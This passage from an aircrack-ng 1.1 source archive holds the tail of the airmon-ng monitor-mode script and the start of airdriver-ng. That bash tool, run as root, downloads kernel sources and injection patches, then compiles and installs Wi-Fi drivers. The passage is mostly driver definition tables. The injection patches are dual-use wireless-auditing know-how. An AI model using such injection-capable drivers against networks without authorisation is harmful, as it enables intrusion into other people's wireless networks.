= x$iface ] then echo " (MONITOR MODE NOT SUPPORTED)" fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi if [ x$DRIVER != "x" ] then if [ x$CHIPSET = "x" ] then printf "$iface\t\tUNKNOWN\t\t$DRIVER" else printf "$iface\t\t$CHIPSET\t\t$DRIVER" fi if [ x$1 = "xstart" ] && [ x$2 = x$iface ] then startStdIface $iface $CH fi if [ x$1 = "xstop" ] && [ x$2 = x$iface ] then stopStdIface $iface fi echo continue fi printf "$iface\t\tUnknown\t\tUnknown (MONITOR MODE NOT SUPPORTED)\n" done echo if [ $UDEV_ISSUE != 0 ] ; then echo udev renamed the interface. Read the following for a solution: echo http://www.aircrack-ng.org/doku.php?id=airmon-ng#interface_athx_number_rising_ath0_ath1_ath2...._ath45 echo fi aircrack-ng-1.1/scripts/airdriver-ng0000644000000000000000000033363211323147202016242 0ustar rootroot#!/bin/bash # Tool to install/uninstall and patch wireless drivers and 802.11 stacks # # Copyright (c) 2007 Martin Beck # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA USERID="" #run as root? if [ x"`which id 2> /dev/null`" != "x" ] then USERID="`id -u 2> /dev/null`" fi if [ x$USERID == "x" -a x$UID != "x" ] then USERID=$UID fi if [ x$USERID != "x" -a x$USERID != "x0" ] then echo Run it as root ; exit ; fi #getting commands LSPCMCIA=`which lspcmcia 2>/dev/null` IWCONFIG=`which iwconfig 2>/dev/null` MODPROBE=`which modprobe 2>/dev/null` RMMOD=`which rmmod 2>/dev/null` PATCH=`which patch 2>/dev/null` LSPCI=`which lspci 2>/dev/null` LSUSB=`which lsusb 2>/dev/null` WGET=`which wget 2>/dev/null` MAKE=`which make 2>/dev/null` GCC=`which gcc 2>/dev/null` TAR=`which tar 2>/dev/null` UNZIP=`which unzip 2>/dev/null` SVN=`which svn 2>/dev/null` CVS=`which cvs 2>/dev/null` GIT=`which git 2>/dev/null` CARDCTL=`which pccardctl 2>/dev/null` if [ x"$CARDCTL" == x ] then CARDCTL=`which cardctl 2>/dev/null` fi #global variables if [ x"$KVER" == x ] then KVER=`uname -r` fi KMAJOR=`echo $KVER | sed 's/^\([0-9]\)\..*$/\1/'` KMINOR=`echo $KVER | sed 's/^[0-9]\.\([0-9]\)\..*$/\1/'` KPATCH=`echo $KVER | sed 's/^[0-9]\.[0-9]\.\([0-9]*\).*$/\1/'` KSUBPT=`echo $KVER | sed -n 's/^[0-9]\.[0-9]\.[0-9]*\.\([0-9]*\).*$/\1/p'` KSRC="/lib/modules/$KVER/build" KMOD="/lib/modules/$KVER" KUTS="" VANILLA="$KMAJOR.$KMINOR.$KPATCH" if [ x"$KSUBPT" != x ] then VANILLA="$VANILLA.$KSUBPT" fi if [ -f "$KSRC/include/linux/utsrelease.h" ] then KUTS=`grep UTS_RELEASE $KSRC/include/linux/utsrelease.h 2>/dev/null | head -n 1 | cut -d " " -f3 | sed 's/"//g'` else KUTS=`grep UTS_RELEASE $KSRC/include/linux/version.h 2>/dev/null | head -n 1 | cut -d " " -f3 | sed 's/"//g'` fi if [ x"$KUTS" != x ] then if [ x"$KUTS" != x"$KVER" ] then echo "-------" echo "Your linked kernel source doesn't match your current running version." echo "\"$KUTS\" vs. \"$KVER\"" printf "You " if [ -d "/lib/modules/$KUTS" ] then printf "will probably" else printf "may" fi printf " run into problems when installing drivers.\n" echo "-------" fi fi OWN_NAME=$0 D_DIR="/usr/src/drivers" LOGFILE="/var/log/airdriver" #firmware preparation #possible paths, ordered by importance FIRMPATHS="/lib/firmware /usr/lib/firmware /lib/hotplug/firmware /usr/local/lib/firmware /usr/firmware" for i in $FIRMPATHS do if [ -d "$i" ] then FIRMPATH="$i" fi done if [ x"$FIRMPATH" == x ] then FIRMPATH="/lib/firmware" mkdir -p "$FIRMPATH" fi #done preparing firmware directory NO_DRIVER_ERROR='You need to specify a driver number obtained from "airdriver-ng installed" or "airdriver-ng loaded"' NO_STACK_ERROR='You need to specify a stack number obtained from "airdriver-ng supported"' NO_FIRMWARE_ERROR='You need to specify a driver number obtained from "airdriver-ng supported"' YES=1 NO=0 ERROR=255 NO_INSTALL=$NO NO_FIRMWARE=$NO #distribution definition - for future enhancements - not used right now i=0 LNAME[$i]="Debian" LI_UTIL[$i]="apt-get" LI_ARGUMENT[$i]="install" LI_KSOURCE[$i]="" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="Fedora" LI_UTIL[$i]="yum" LI_ARGUMENT[$i]="" LI_KSOURCE[$i]="" LDETECT[$i]="cat /etc/fedora-release 2>/dev/null" i=$(($i+1)) LNAME[$i]="Gentoo" LI_UTIL[$i]="emerge" LI_ARGUMENT[$i]="-a" LI_KSOURCE[$i]="" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="Mandriva" LI_UTIL[$i]="" LI_ARGUMENT[$i]="" LI_KSOURCE[$i]="" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="Slackware" LI_UTIL[$i]="" LI_ARGUMENT[$i]="" LI_KSOURCE[$i]="" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="openSUSE" LI_UTIL[$i]="zypper" LI_ARGUMENT[$i]="install" LI_KSOURCE[$i]="cat /etc/SuSE-release 2>/dev/null" LDETECT[$i]="" i=$(($i+1)) LNAME[$i]="[X|K]Ubuntu" LI_UTIL[$i]="apt-get" LI_ARGUMENT[$i]="install" LI_KSOURCE[$i]="linux-source-$VANILLA" LDETECT[$i]="" #END - distribution definition LCOUNT=$(($i+1)) #stack definition i=0 SNAME[$i]="IEEE80211" SCONFIG[$i]="CONFIG_IEEE80211=" SCONFIGS[$i]="CONFIG_IEEE80211=m CONFIG_IEEE80211_CRYPT_WEP=m CONFIG_IEEE80211_CRYPT_CCMP=m CONFIG_IEEE80211_CRYPT_TKIP=m" SMODULE[$i]="ieee80211" SMODULES[$i]="ieee80211 ieee80211_crypt ieee80211_crypt_wep ieee80211_crypt_tkip ieee80211_crypt_ccmp" SI_INIT[$i]="install_ieee80211 $i" SI_DRIVERGET[$i]="cp" SI_DRIVERFILE[$i]="ieee80211_tx.c" SI_DRIVERPATH1[$i]="$KSRC/net/ieee80211" SI_DRIVERPATH2[$i]="/usr/src/linux/net/ieee80211" SI_DRIVEREXDIR[$i]="" SI_DRIVERDIR[$i]="ieee80211" SI_PREPATCH[$i]="" SI_PATCHFILE[$i]="ieee80211_inject-2.6.22.patch" SI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/ieee80211_inject-2.6.22.patch" SI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/ieee80211_inject-2.6.22.patch" SI_PATCHARG[$i]="-p3" SI_PRECOMP[$i]="" SI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${SI_DRIVERDIR[$i]} modules" SI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/net/ieee80211/"" SI_INSTALL2[$i]="cp -f *.ko "$KMOD/kernel/net/ieee80211/"" SSITE[$i]="http://ieee80211.sourceforge.net/" i=$(($i+1)) SNAME[$i]="IEEE80211 Softmac" SCONFIG[$i]="CONFIG_IEEE80211_SOFTMAC=" SCONFIGS[$i]="CONFIG_IEEE80211_SOFTMAC=m" SMODULE[$i]="ieee80211softmac" SMODULES[$i]="ieee80211softmac" SI_INIT[$i]="install_softmac $i" SI_DRIVERGET[$i]="cp" SI_DRIVERFILE[$i]="ieee80211softmac_wx.c" SI_DRIVERPATH1[$i]="$KSRC/net/ieee80211/softmac" SI_DRIVERPATH2[$i]="/usr/src/linux/net/ieee80211/softmac" SI_DRIVEREXDIR[$i]="" SI_DRIVERDIR[$i]="softmac" SI_PREPATCH[$i]="" SI_PATCHFILE[$i]="ieee80211_softmac_adjust_bitrate.patch" SI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/ieee80211_softmac_adjust_bitrate.patch" SI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/ieee80211_softmac_adjust_bitrate.patch" SI_PATCHARG[$i]="-p4" SI_PRECOMP[$i]="" SI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${SI_DRIVERDIR[$i]} modules" SI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/net/ieee80211/softmac/"" SI_INSTALL2[$i]="cp -f *.ko "$KMOD/kernel/net/ieee80211/softmac/"" SSITE[$i]="http://softmac.sipsolutions.net/" i=$(($i+1)) SNAME[$i]="mac80211" SCONFIG[$i]="CONFIG_MAC80211=" SCONFIGS[$i]="CONFIG_MAC80211=m" SMODULE[$i]="mac80211" SMODULES[$i]="mac80211 rc80211_simple cfg80211 nl80211 rc80211_lowest" SSITE[$i]="http://intellinuxwireless.org/?p=mac80211" i=$(($i+1)) SNAME[$i]="custom" SCONFIG[$i]="" SMODULE[$i]="" SMODULES[$i]="" SSITE[$i]="" #END of stack definition SCOUNT=$(($i+1)) #drivers #DCOUNT = Number of known drivers #DNAME[x] = Driver name to be displayed #DMODULE[x] = Main module name to recognise installed/loaded status (complete name without trailing ".ko") #DCONFIG[x] = Configure variable in kernel config file #DMODULES[x] = All modules used by the driver (complete name without trailing ".ko") #DINSTALL[x] = Function to d/l, patch and install the driver #DSITE[x] = Website with more information about the driver #DETECT_X[x] = string to grep for while detecting devices: lsusb -v, lspci and lspcmcia -v i=0 DNAME[$i]="ACX100/111" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="acx" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="acx" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="acx-20070101.tar.bz2" DI_DRIVERPATH1[$i]="http://www.cmartin.tk/acx/acx-20070101.tar.bz2" DI_DRIVERPATH2[$i]="http://www.hauke-m.de/fileadmin/acx/acx-20070101.tar.bz2" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="acx-20070101" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="acx-20070101.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/acx-20070101.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/acx-20070101.patch" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/acx/"" DI_INSTALL2[$i]="cp -f acx.ko "$KMOD/kernel/drivers/net/wireless/acx/"" DF_FIRMFILES[$i]="tiacx100 tiacx100r11 tiacx111c17 tiacx100r0D tiacx100r15 tiacx111c16 tiacx111c19" DF_FIRMFILE[$i]="fw.tar.bz2" DF_FIRMPATH1[$i]="http://www.hauke-m.de/fileadmin/acx/fw.tar.bz2" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="fw" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=acx" DETECT_USB[$i]="" DETECT_PCI[$i]="ACX" DETECT_CS[$i]="ACX" i=$(($i+1)) DNAME[$i]="ADMtek 8211" DSTACK[$i]="0" DMODINFO[$i]="^depends: *ieee80211" DMODULE[$i]="adm8211" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="adm8211" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="ADMtek 8211" DSTACK[$i]="2" DMODINFO[$i]="^depends: *mac80211" DMODULE[$i]="adm8211" DCONFIG[$i]="CONFIG_ADM8211=" DCONFIGS[$i]="CONFIG_ADM8211=m" DMODULES[$i]="adm8211" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Atmel at76c50x" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="atmel" DCONFIG[$i]="CONFIG_ATMEL=" DCONFIGS[$i]="CONFIG_ATMEL=m CONFIG_PCI_ATMEL=m CONFIG_PCMCIA_ATMEL=m CONFIG_TCG_ATMEL=m" DMODULES[$i]="atmel atmel_cs atmel_pci at76c505a-rfmd2958 at76c505-rfmd2958 at76c505-rfmd.ko at76c503.ko at76c503-rfmd.ko at76c503-rfmd-acc.ko at76c503-i3863.ko at76c503-i3861.ko at76_usbdfu.ko" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="atmel_at76c502_3com.bin atmel_at76c503-rfmd.bin atmel_at76c502_3com-wpa.bin atmel_at76c504_2958-wpa.bin atmel_at76c502.bin atmel_at76c504a_2958-wpa.bin atmel_at76c502d.bin atmel_at76c504.bin atmel_at76c502d-wpa.bin atmel_at76c504c-wpa.bin atmel_at76c502e.bin atmel_at76c505a-rfmd2958.bin atmel_at76c502e-wpa.bin atmel_at76c505-rfmd2958.bin atmel_at76c502-wpa.bin atmel_at76c505-rfmd.bin atmel_at76c503-i3861.bin atmel_at76c506.bin atmel_at76c503-i3863.bin atmel_at76c506-wpa.bin atmel_at76c503-rfmd-0.90.2-140.bin atmel_at76c503-rfmd-acc.bin" DF_FIRMFILE[$i]="at76c503afw-0.1.tar.gz" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/at76c503a/at76c503afw-0.1.tar.gz" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/at76c503a/at76c503afw-0.1.tar.gz" DF_FIRMDIR[$i]="at76_usb-firmware-0.1" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Atmel at76_usb" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="at76_usb" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="at76_usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="at76_usb-0.16.tar.gz" DI_DRIVERPATH1[$i]="http://download.berlios.de/at76c503a/at76_usb-0.16.tar.gz" DI_DRIVERPATH2[$i]="http://download2.berlios.de/at76c503a/at76_usb-0.16.tar.gz" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="at76_usb-0.16" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="make" DI_INSTALL1[$i]="make install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="atmel_at76c502_3com.bin atmel_at76c503-rfmd.bin atmel_at76c502_3com-wpa.bin atmel_at76c504_2958-wpa.bin atmel_at76c502.bin atmel_at76c504a_2958-wpa.bin atmel_at76c502d.bin atmel_at76c504.bin atmel_at76c502d-wpa.bin atmel_at76c504c-wpa.bin atmel_at76c502e.bin atmel_at76c505a-rfmd2958.bin atmel_at76c502e-wpa.bin atmel_at76c505-rfmd2958.bin atmel_at76c502-wpa.bin atmel_at76c505-rfmd.bin atmel_at76c503-i3861.bin atmel_at76c506.bin atmel_at76c503-i3863.bin atmel_at76c506-wpa.bin atmel_at76c503-rfmd-0.90.2-140.bin atmel_at76c503-rfmd-acc.bin" DF_FIRMFILE[$i]="at76c503afw-0.1.tar.gz" DF_FIRMPATH1[$i]="http://downloads.sourceforge.net/at76c503a/at76c503afw-0.1.tar.gz" DF_FIRMPATH2[$i]="http://downloads.sourceforge.net/at76c503a/at76c503afw-0.1.tar.gz" DF_FIRMDIR[$i]="at76_usb-firmware-0.1" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Broadcom 4300" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="bcm43xx" DCONFIG[$i]="CONFIG_BCM43XX=" DCONFIGS[$i]="CONFIG_BCM43XX=m CONFIG_BCM43XX_DMA=y CONFIG_BCM43XX_PIO=y CONFIG_BCM43XX_DMA_AND_PIO_MODE=y" DMODULES[$i]="bcm43xx" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless/bcm43xx" DI_DRIVERDIR[$i]="bcm43xx" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="bcm43xx-injection-linux-2.6.20.patch" DI_PATCHPATH1[$i]="http://trac.aircrack-ng.org/attachment/ticket/183/bcm43xx-injection-linux-2.6.20.patch?format=raw" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="-p5" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/bcm43xx/"" DI_INSTALL2[$i]="cp -f bcm43xx.ko $KMOD/kernel/drivers/net/wireless/bcm43xx/" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=broadcom" DETECT_USB[$i]="" DETECT_PCI[$i]="BCM43" DETECT_CS[$i]="BCM43" i=$(($i+1)) DNAME[$i]="Broadcom 4300" DSTACK[$i]="2" DMODINFO[$i]="" DMODULE[$i]="bcm43xx-mac80211" DCONFIG[$i]="CONFIG_BCM43XX_MAC80211=" DCONFIGS[$i]="CONFIG_BCM43XX_MAC80211=m CONFIG_BCM43XX_MAC80211_PCI=y CONFIG_BCM43XX_MAC80211_PCMCIA=y CONFIG_BCM43XX_MAC80211_DMA=y CONFIG_BCM43XX_MAC80211_PIO=y CONFIG_BCM43XX_MAC80211_DMA_AND_PIO_MODE=y" DMODULES[$i]="bcm43xx-mac80211.ko" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="BCM43" DETECT_CS[$i]="BCM43" i=$(($i+1)) DNAME[$i]="Cisco/Aironet 802.11" DSTACK[$i]="1" DMODINFO[$i]="" DMODULE[$i]="airo" DCONFIG[$i]="CONFIG_AIRO=" DCONFIGS[$i]="CONFIG_AIRO=m CONFIG_AIRO_CS=m" DMODULES[$i]="airo airo_cs" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="HostAP" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="hostap" DCONFIG[$i]="CONFIG_HOSTAP=" DCONFIGS[$i]="CONFIG_HOSTAP=m CONFIG_HOSTAP_CS=m CONFIG_HOSTAP_PLX=m CONFIG_HOSTAP_PCI=m CONFIG_HOSTAP_FIRMWARE=y CONFIG_HOSTAP_FIRMWARE_NVRAM=y" DMODULES[$i]="hostap_pci hostap_plx hostap_cs hostap" DI_INIT[$i]="install_hostap $i" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless/hostap" DI_DRIVERDIR[$i]="hostap" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="hostap-kernel-$VANILLA.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/hostap-kernel-$VANILLA.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/hostap-kernel-$VANILLA.patch" DI_PATCHARG[$i]="-p5" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/hostap/"" DI_INSTALL2[$i]="cp -f *.ko $KMOD/kernel/drivers/net/wireless/hostap/" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=hostap" DETECT_USB[$i]="prism2" DETECT_PCI[$i]="Intersil\|Prism" DETECT_CS[$i]="Wireless LAN" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 2100 B" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="ipw2100" DCONFIG[$i]="CONFIG_IPW2100=" DCONFIGS[$i]="CONFIG_IPW2100=m CONFIG_IPW2100_MONITOR=y" DMODULES[$i]="ipw2100" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless" DI_DRIVERDIR[$i]="ipw2100" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="ipw2100_precomp" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/ipw2100/"" DI_INSTALL2[$i]="cp -f ipw2100.ko $KMOD/kernel/drivers/net/wireless/ipw2100/" DF_FIRMFILES[$i]="ipw2100-1.3.fw ipw2100-1.3-i.fw ipw2100-1.3-p.fw" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="2100" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 2200 (B/G)/2915 (A/B/G)" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="ipw2200" DCONFIG[$i]="CONFIG_IPW2200=" DCONFIGS[$i]="CONFIG_IPW2200=m CONFIG_IPW2200_MONITOR=y CONFIG_IPW2200_RADIOTAP=y CONFIG_IPW2200_PROMISCUOUS=y CONFIG_IPW2200_QOS=y" DMODULES[$i]="ipw2200" DI_INIT[$i]="install_ipw2200 $i" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless" DI_DRIVERDIR[$i]="ipw2200" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="ipw2200-1.1.4-inject.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/ipw2200-1.1.4-inject.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/ipw2200-1.1.4-inject.patch" DI_PATCHARG[$i]="-p1 -f" DI_PRECOMP[$i]="ipw2200_precomp" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/ipw2200/"" DI_INSTALL2[$i]="cp -f ipw2200.ko $KMOD/kernel/drivers/net/wireless/ipw2200/" DF_FIRMFILES[$i]="ipw2200-ibss.fw ipw2200-bss.fw ipw2200-sniffer.fw" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=ipw2200" DETECT_USB[$i]="" DETECT_PCI[$i]="2200BG" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 3945 A/B/G" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="ipw3945" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="ipw3945" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="ipw3945.ucode" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=ipw3945" DETECT_USB[$i]="" DETECT_PCI[$i]="3945" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 3945 A/B/G - raw mode" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="ipwraw" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="ipwraw" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="ipwraw-ng-2.0.0-10072007.tar.bz2" 